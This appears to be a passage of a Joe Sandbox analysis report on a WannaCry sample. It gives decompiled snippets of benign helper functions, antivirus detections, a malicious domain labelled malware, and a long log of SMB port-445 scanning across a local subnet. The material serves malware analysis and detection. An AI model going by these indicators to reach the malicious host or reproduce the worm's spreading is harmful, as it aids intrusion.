Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/k	Avira URL Cloud: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/x	Avira URL Cloud: Label: malware

Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%
Source: C:\Windows\mssecsvr.exe	Metadefender: Detection: 86%	Perma Link
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 97%

Source: C:\Windows\eee.exe	Joe Sandbox ML: detected
Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected

Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Wanna.rxdai
Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/Wanna.rxdai

Source: 6.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.rxdai
Source: 6.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.rxdai
Source: 4.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.rxdai
Source: 6.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.rxdai
Source: 4.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.rxdai
Source: 6.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.rxdai
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.rxdai
Source: 4.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.rxdai
Source: 4.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.rxdai
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.urvkf
Source: 4.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.rxdai
Source: 6.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.rxdai

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
